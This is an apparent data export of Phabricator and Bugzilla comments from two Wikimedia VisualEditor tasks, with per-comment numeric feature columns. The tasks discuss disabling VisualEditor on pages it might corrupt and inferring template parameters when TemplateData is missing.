463570,VisualEditor: Provide a mechanism to disable VisualEditor on a given page (to be used if it corrupts said page),"This is an old task, so it would be good to get some specificity around whether this is still an issue and under which circumstances. Can someone please re-validate this issue?",,,1432563831,,PHID-USER-v7pv6vw32wp56vc4wyt7,False,,,PHID-TASK-qrsg7i26ioq3iroi5j3v,task_subcomment,,True,c1,3,False,,,99,,3.0,3.0,0.0,0.0,0.0,6.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,17.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,3.0,3.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,11.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,8.0,6.0,6.0,3.0,19.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,3.0,17.0,0.0,3.0,0.0,0.0,3.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,4.055555555555555,0.8888888888888888,"This is an old task, so it would be good to get some specificity around whether this is still an issue and under which circumstances. Can someone please re-validate this issue?"
463300,VisualEditor: Provide a mechanism to disable VisualEditor on a given page (to be used if it corrupts said page),"An interesting solution is to add a wikitext magic word `__NOVISUALEDITOR__` to disable it in contexts it might otherwise be enabled.

https://www.mediawiki.org/wiki/Thread:Extension_talk:VisualEditor/Behavior_switch_NOVISUALEDITOR",,,1432543493,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-qrsg7i26ioq3iroi5j3v,task_subcomment,,True,c1,3,False,,,99,,0.0,0.0,0.0,4.0,0.0,8.0,4.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,12.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,12.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,8.0,12.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.25,0.9166666666666666,"An interesting solution is to add a wikitext magic word CODE to disable it in contexts it might otherwise be enabled.

URL"
241870,VisualEditor: Provide a mechanism to disable VisualEditor on a given page (to be used if it corrupts said page),"An interesting solution is to add a wikitext magic word __NOVISUALEDITOR__ to disable it in contexts it might otherwise be enabled.

https://www.mediawiki.org/wiki/Thread:Extension_talk:VisualEditor/Behavior_switch_NOVISUALEDITOR",,,1392433326,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-qrsg7i26ioq3iroi5j3v,task_subcomment,,True,c1,3,False,,,32,,0.0,0.0,0.0,4.0,0.0,7.0,4.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,11.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,7.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,11.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,7.0,11.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,4.142857142857143,0.8214285714285714,"An interesting solution is to add a wikitext magic word __NOVISUALEDITOR__ to disable it in contexts it might otherwise be enabled.

URL"
241866,VisualEditor: Provide a mechanism to disable VisualEditor on a given page (to be used if it corrupts said page),"(In reply to comment #6)
> Obviously VE/Parsoid shouldn't cause breakage - the goal would be to keep
> membership of that category close to zero at any given time. But if and when
> things do break, it'd be good to have an official mechanism to deal with it,
> rather than just template hacks.

Bugzilla is the official mechanism for dealing with breakages.

While it's easy to say that the goal would be to keep the category membership near zero, it sounds like (from reading comment 0) that this category would quickly include tens of thousands of pages.",,,1375488872,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-qrsg7i26ioq3iroi5j3v,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,21.0,0.0,4.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,0.0,4.0,0.0,3.0,6.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,3.0,16.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,3.0,10.0,4.0,0.0,6.0,0.0,0.0,0.0,1.0,7.0,0.0,4.0,0.0,3.0,21.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.8970588235294117,0.7058823529411765,"(In reply to comment #6)
QUOTE
QUOTE
QUOTE
QUOTE

Bugzilla is the official mechanism for dealing with breakages.

While it's easy to say that the goal would be to keep the category membership near zero, it sounds like (from reading comment 0) that this category would quickly include tens of thousands of pages."
241860,VisualEditor: Provide a mechanism to disable VisualEditor on a given page (to be used if it corrupts said page),"Obviously VE/Parsoid shouldn't cause breakage - the goal would be to keep membership of that category close to zero at any given time. But if and when things do break, it'd be good to have an official mechanism to deal with it, rather than just template hacks.",,,1375488524,,PHID-USER-766idcqt4jkngnnuhnrj,False,,,PHID-TASK-qrsg7i26ioq3iroi5j3v,task_subcomment,,True,c1,3,False,,,4,,2.0,0.0,0.0,0.0,2.0,4.0,4.0,0.0,0.0,2.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,11.0,16.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,16.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,7.0,4.0,4.0,7.0,0.0,0.0,0.0,0.0,13.0,0.0,2.0,0.0,4.0,16.0,4.0,0.0,0.0,0.0,4.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,3.890909090909091,0.8727272727272727,"Obviously VE/Parsoid shouldn't cause breakage - the goal would be to keep membership of that category close to zero at any given time. But if and when things do break, it'd be good to have an official mechanism to deal with it, rather than just template hacks."
241856,VisualEditor: Provide a mechanism to disable VisualEditor on a given page (to be used if it corrupts said page),I don't like the idea presented in bug 52489 (a blacklist category). VisualEditor simply shouldn't break pages ever. Users shouldn't be required to shield articles from it; that's a bit insane.,,,1375488293,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-qrsg7i26ioq3iroi5j3v,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,2.0,7.0,5.0,0.0,0.0,0.0,0.0,2.0,7.0,0.0,0.0,0.0,2.0,0.0,12.0,7.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,7.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,2.0,0.0,5.0,7.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,3.975609756097561,0.8536585365853658,I don't like the idea presented in bug 52489 (a blacklist category). VisualEditor simply shouldn't break pages ever. Users shouldn't be required to shield articles from it; that's a bit insane.
241851,VisualEditor: Provide a mechanism to disable VisualEditor on a given page (to be used if it corrupts said page),"It would indeed be helpful to be able to selectively disable VisualEditor (we should indicate to a user who'd otherwise see VisualEditor that it is disabled, to reduce confusion).

A hidden blacklist category could be included in a page or template to achieve
the desired effect, and could be used by developers to prioritize roundtripping
issues.",,,1375488230,,PHID-USER-766idcqt4jkngnnuhnrj,False,,,PHID-TASK-qrsg7i26ioq3iroi5j3v,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,5.0,0.0,6.0,3.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,0.0,2.0,2.0,5.0,14.0,0.0,8.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,2.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,3.0,0.0,0.0,0.0,11.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,3.0,2.0,0.0,0.0,2.0,0.0,6.0,8.0,6.0,2.0,3.0,6.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,5.0,14.0,3.0,0.0,0.0,0.0,5.0,0.0,2.0,5.0,0.0,2.0,0.0,0.0,0.0,4.46969696969697,0.7878787878787878,"It would indeed be helpful to be able to selectively disable VisualEditor (we should indicate to a user who'd otherwise see VisualEditor that it is disabled, to reduce confusion).

A hidden blacklist category could be included in a page or template to achieve
the desired effect, and could be used by developers to prioritize roundtripping
issues."
241844,VisualEditor: Provide a mechanism to disable VisualEditor on a given page (to be used if it corrupts said page),*** Bug 52489 has been marked as a duplicate of this bug. ***,,,1375488138,,PHID-USER-766idcqt4jkngnnuhnrj,False,,,PHID-TASK-qrsg7i26ioq3iroi5j3v,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 52489 has been marked as a duplicate of this bug. ***
241838,VisualEditor: Provide a mechanism to disable VisualEditor on a given page (to be used if it corrupts said page),"If WMF has spare compute power, Parsoid could flag which pages it _may_ break, and tell the VE extension to not enable itself on those pages.",,,1375047287,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-qrsg7i26ioq3iroi5j3v,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,10.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,13.0,3.0,3.0,10.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,10.0,10.0,10.0,0.0,0.0,0.0,10.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,3.7419354838709675,0.9032258064516129,"If WMF has spare compute power, Parsoid could flag which pages it _may_ break, and tell the VE extension to not enable itself on those pages."
241834,VisualEditor: Provide a mechanism to disable VisualEditor on a given page (to be used if it corrupts said page),"A temporary solution is being developed: {{Disable VE top}} and {{Disable VE bottom}}

https://en.wikipedia.org/wiki/Template:Disable_VE_top",,,1374991704,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-qrsg7i26ioq3iroi5j3v,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,8.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,25.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,3.25,0.6666666666666666,"A temporary solution is being developed: {{Disable VE top}} and {{Disable VE bottom}}

URL"
54135,VisualEditor: Template dialog should make use of guessed/inferred TemplateData for templates without it,"The Visual Mode editor of Wikia is able to check all the available parameters automatically without the need for editors to edit the TemplateData for each template manually which is unrealistic to be done for over 505k templates on English Wikipedia.
However, Wikia's template editor has a severe flaw that it cannot handle a template to be included inside another template. The visual editor will deem the coding to be too complex and forcibly switch back to source mode editor.

--------------------------
**See Also**:
T54581 / {T191756}",Lowest,10.0,1374901500,,PHID-USER-xnvlg7y5phtzugavv6wj,False,,False,PHID-TASK-dpwiikhbs2gw5p5foc5a,task_description,open,True,c1,3,False,False,,3,,1.0,0.0,0.0,1.5,1.0,4.0,2.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,6.5,10.0,0.0,3.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,1.0,0.0,1.5,2.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,1.0,0.0,0.0,0.0,0.0,0.0,5.5,3.5,9.5,1.0,1.0,8.0,0.0,0.0,0.0,0.0,7.5,0.0,0.0,0.0,1.0,10.0,6.0,0.0,0.0,0.0,1.0,0.0,0.5,1.5,0.0,0.0,0.0,0.0,0.0,4.45286576168929,0.8058069381598794,"The Visual Mode editor of Wikia is able to check all the available parameters automatically without the need for editors to edit the TemplateData for each template manually which is unrealistic to be done for over 505k templates on English Wikipedia.
However, Wikia's template editor has a severe flaw that it cannot handle a template to be included inside another template. The visual editor will deem the coding to be too complex and forcibly switch back to source mode editor.

--------------------------
**See Also**:
T54581 / {T191756}"
702098,VisualEditor: Template dialog should make use of guessed/inferred TemplateData for templates without it,">>! In T54135#2501906, @Whatamidoing-WMF wrote:
> The GUI for TemplateData can detect (or attempt to detect) parameters now.  I wonder whether that could be 'borrowed' by the template tool?

It's not perfect, and in the GUI there is manual review involved before publication. However, from a user perspective, the only side-effect of the detection is suggestion of parameter names. Not anything beyond that. That's fairly harmless.

If we're ready to try and make this kind of detection available to users without review, then I propose to do this in the TemplateData API instead of in VisualEditor.

That way it will benefit all users of the data, not just VE. And it will keep the logic in the same repository. When VisualEditor fetches it from the API will automatically respond with either the authored data, or fallback to auto-detection for parameter keys.",,,1469726549,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-dpwiikhbs2gw5p5foc5a,task_subcomment,,True,c1,3,True,,,160,,0.5,0.5,0.0,0.0,1.5,3.5,0.0,0.0,0.0,0.5,4.0,0.5,0.0,0.5,0.5,1.0,0.0,6.5,12.5,0.5,1.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,2.0,0.0,4.0,0.0,2.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.0,0.0,14.0,1.0,2.0,0.0,0.5,0.5,0.5,0.0,0.0,1.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,6.5,1.0,11.0,1.0,3.0,10.0,0.0,0.0,0.0,0.0,4.5,0.0,0.0,0.0,4.0,12.5,3.5,0.0,0.0,0.0,4.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,4.136542443064182,0.7263975155279503,"QUOTE
QUOTE

It's not perfect, and in the GUI there is manual review involved before publication. However, from a user perspective, the only side-effect of the detection is suggestion of parameter names. Not anything beyond that. That's fairly harmless.

If we're ready to try and make this kind of detection available to users without review, then I propose to do this in the TemplateData API instead of in VisualEditor.

That way it will benefit all users of the data, not just VE. And it will keep the logic in the same repository. When VisualEditor fetches it from the API will automatically respond with either the authored data, or fallback to auto-detection for parameter keys."
702097,VisualEditor: Template dialog should make use of guessed/inferred TemplateData for templates without it,">>! In T54135#2501906, @Whatamidoing-WMF wrote:
> The GUI for TemplateData can detect (or attempt to detect) parameters now.  I wonder whether that could be 'borrowed' by the template tool?

It's not perfect, and in the GUI there is manual review involved before publication. However, from a user perspective, the only side-effect of the detection is suggestion of parameter names. Not anything beyond that. That's fairly harmless.

If we're ready to try and make this kind of detection available to users without review, then I propose to do this in the TemplateData API instead of in VisualEditor.

That way it will benefit all users of the data, not just VE. And it will keep the logic in the same repository. When VisualEditor fetches it from the API which will automatically respond with either the authored data, or fallback to auto-detection for parameter keys.",,,1469726512,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-dpwiikhbs2gw5p5foc5a,task_subcomment,,True,c1,3,True,,,160,,0.5,0.5,0.0,0.0,1.5,3.5,0.0,0.0,0.0,0.5,4.0,0.5,0.0,0.5,0.5,1.0,0.0,6.5,12.5,0.5,1.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,2.0,0.0,4.0,0.0,2.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.0,0.0,14.0,1.0,2.0,0.0,0.5,0.5,0.5,0.0,0.0,1.0,0.0,0.5,0.5,0.0,0.0,0.0,0.5,0.0,6.5,1.0,11.0,1.0,3.0,10.5,0.0,0.0,0.0,0.0,4.5,0.0,0.0,0.0,4.0,12.5,3.5,0.0,0.0,0.0,4.0,0.0,1.5,0.5,0.0,0.0,0.0,0.0,0.0,4.142857142857143,0.7285714285714285,"QUOTE
QUOTE

It's not perfect, and in the GUI there is manual review involved before publication. However, from a user perspective, the only side-effect of the detection is suggestion of parameter names. Not anything beyond that. That's fairly harmless.

If we're ready to try and make this kind of detection available to users without review, then I propose to do this in the TemplateData API instead of in VisualEditor.

That way it will benefit all users of the data, not just VE. And it will keep the logic in the same repository. When VisualEditor fetches it from the API which will automatically respond with either the authored data, or fallback to auto-detection for parameter keys."
701968,VisualEditor: Template dialog should make use of guessed/inferred TemplateData for templates without it,The GUI for TemplateData can detect (or attempt to detect) parameters now.  I wonder whether that could be 'borrowed' by the template tool?,,,1469716429,,PHID-USER-uf3buojo4ceizjywvyn5,False,,,PHID-TASK-dpwiikhbs2gw5p5foc5a,task_subcomment,,True,c1,3,False,,,160,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,3.0,0.0,3.0,13.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,13.0,3.0,3.0,10.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,3.0,13.0,7.0,3.0,7.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.9,0.9333333333333333,The GUI for TemplateData can detect (or attempt to detect) parameters now.  I wonder whether that could be 'borrowed' by the template tool?
241553,VisualEditor: Template dialog should make use of guessed/inferred TemplateData for templates without it,*** Bug 70228 has been marked as a duplicate of this bug. ***,,,1409694736,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-dpwiikhbs2gw5p5foc5a,task_subcomment,,True,c1,3,True,,,61,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 70228 has been marked as a duplicate of this bug. ***
241548,VisualEditor: Template dialog should make use of guessed/inferred TemplateData for templates without it,"(In reply to comment #2)
> This is something we're unlikely to get to do soon, as it would require a
> vast
> amount of work (and, indeed, Strong AI to do properly). However, it would be
> a
> great improvement, yes.

Indeed. It would help the newbies - not to push them to look for template page and/or template documentation and fill it slow, piece by piece. It is than much faster to add it copy&paste in wiki code, than use VE.",,,1388572741,,PHID-USER-vm462i2ffbawnuo4mh3n,False,,,PHID-TASK-dpwiikhbs2gw5p5foc5a,task_subcomment,,True,c1,3,False,,,26,,2.0,0.0,0.0,0.0,2.0,3.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,15.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,6.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,15.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,11.0,0.0,2.0,0.0,8.0,15.0,9.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,3.4615384615384617,0.7076923076923077,"(In reply to comment #2)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Indeed. It would help the newbies - not to push them to look for template page and/or template documentation and fill it slow, piece by piece. It is than much faster to add it copy&paste in wiki code, than use VE."
241541,VisualEditor: Template dialog should make use of guessed/inferred TemplateData for templates without it,"(In reply to comment #6)
> (In reply to comment #5)
> > Kipod do you have a direct link to templatewizard as I've like to link to it?
> 
> See bug 52581 comment 4

Or even
https://en.wikipedia.org/wiki/Wikipedia:Village_pump_(technical)/Archive_103#Template_Parameter_Wizard
mentioned on bug 39598 comment 1.",,,1383413531,,PHID-USER-sryrz6tgcfnnsiddx32p,False,,,PHID-TASK-dpwiikhbs2gw5p5foc5a,task_subcomment,,True,c1,3,False,,,17,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,10.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,10.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.9310344827586206,0.6896551724137931,"(In reply to comment #6)
QUOTE
QUOTE
QUOTE
QUOTE

Or even
URL
mentioned on bug 39598 comment 1."
241535,VisualEditor: Template dialog should make use of guessed/inferred TemplateData for templates without it,"(In reply to comment #5)
> Kipod do you have a direct link to templatewizard as I've like to link to it?

See bug 52581 comment 4

The transclusion UI currently requires thousands of hours to implement on each and every wiki.  This is an enormous design problem that especially impacts small wikis without thousands of minions who have nothing better to do but create templatedata, so I've added this as a blocker for non-English Wikipedia (bug 51792).",,,1381022591,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-dpwiikhbs2gw5p5foc5a,task_subcomment,,True,c1,3,False,,,13,,3.0,0.0,0.0,0.0,0.0,8.0,1.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,1.0,0.0,3.0,14.0,1.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,1.0,0.0,5.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,0.0,18.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,3.0,0.0,4.0,1.0,12.0,1.0,3.0,9.0,0.0,0.0,0.0,1.0,6.0,0.0,5.0,0.0,1.0,14.0,3.0,0.0,0.0,0.0,1.0,0.0,3.0,3.0,0.0,0.0,1.0,0.0,0.0,4.1558441558441555,0.8701298701298701,"(In reply to comment #5)
QUOTE

See bug 52581 comment 4

The transclusion UI currently requires thousands of hours to implement on each and every wiki.  This is an enormous design problem that especially impacts small wikis without thousands of minions who have nothing better to do but create templatedata, so I've added this as a blocker for non-English Wikipedia (bug 51792)."
241525,VisualEditor: Template dialog should make use of guessed/inferred TemplateData for templates without it,"It is dead easy all you need to do is scan for {{{1}}}, {{{name}}}, {{{1| {{{name| etc. I've implemented this at
http://en.wikipedia.org/wiki/User:Salix_alba/TDSkell
and there are a few other implementations about. 

Kipod do you have a direct link to templatewizard as I've like to link to it?

There are 300,000 templates on the English wikipedia so many will never have their TemplateData written making this an important enhancement. 

A slightly enhanced version of this request was asked at 

http://en.wikipedia.org/w/index.php?title=Wikipedia_talk%3AVisualEditor&diff=574762591&oldid=573484823

in addition to just getting the names it wanted to find the ""mandatory"" parameters, a much harder job.",,,1380869650,,PHID-USER-7hrs7wwclcldf7mm6a7o,False,,,PHID-TASK-dpwiikhbs2gw5p5foc5a,task_subcomment,,True,c1,3,False,,,13,,2.5,0.0,0.0,1.0,0.0,7.0,1.0,0.0,0.0,0.0,1.5,1.5,0.0,1.0,1.5,1.0,0.0,4.0,9.0,0.0,2.5,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,1.0,0.0,4.5,1.0,2.0,1.0,1.0,0.0,0.0,1.0,1.5,0.0,1.0,0.0,3.0,0.0,0.5,0.0,0.0,0.0,5.5,0.0,2.0,0.0,1.5,0.0,0.0,0.0,0.0,0.5,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,5.5,3.0,6.5,0.0,0.5,8.0,0.0,0.0,0.0,0.0,4.5,0.0,1.5,0.0,5.5,9.0,2.5,1.0,1.5,0.0,5.5,0.0,0.0,3.5,0.0,1.5,1.0,0.0,1.5,3.509497964721845,0.7225237449118047,"It is dead easy all you need to do is scan for {{{1}}}, {{{name}}}, {{{1| {{{name| etc. I've implemented this at
URL
and there are a few other implementations about. 

Kipod do you have a direct link to templatewizard as I've like to link to it?

There are 300,000 templates on the English wikipedia so many will never have their TemplateData written making this an important enhancement. 

A slightly enhanced version of this request was asked at 

URL

in addition to just getting the names it wanted to find the ""mandatory"" parameters, a much harder job."
241517,VisualEditor: Template dialog should make use of guessed/inferred TemplateData for templates without it,Kipod's Template Parameter Wizard is exactly the thing I'm looking for. At least it works in Wikitext mode nicely.,,,1375976785,,PHID-USER-xnvlg7y5phtzugavv6wj,False,,,PHID-TASK-dpwiikhbs2gw5p5foc5a,task_subcomment,,True,c1,3,False,,,5,,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,4.0,0.0,9.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,30.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,13.0,22.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,4.173913043478261,0.9565217391304348,Kipod's Template Parameter Wizard is exactly the thing I'm looking for. At least it works in Wikitext mode nicely.
241510,VisualEditor: Template dialog should make use of guessed/inferred TemplateData for templates without it,"templatewizard on hewiki implements this logic using 9 lines on JS, (so PHP  should probably be able to accomplish that with no more than 50 lines). might not be perfect, but it works for a long time now, and i did not get any bug report yet.

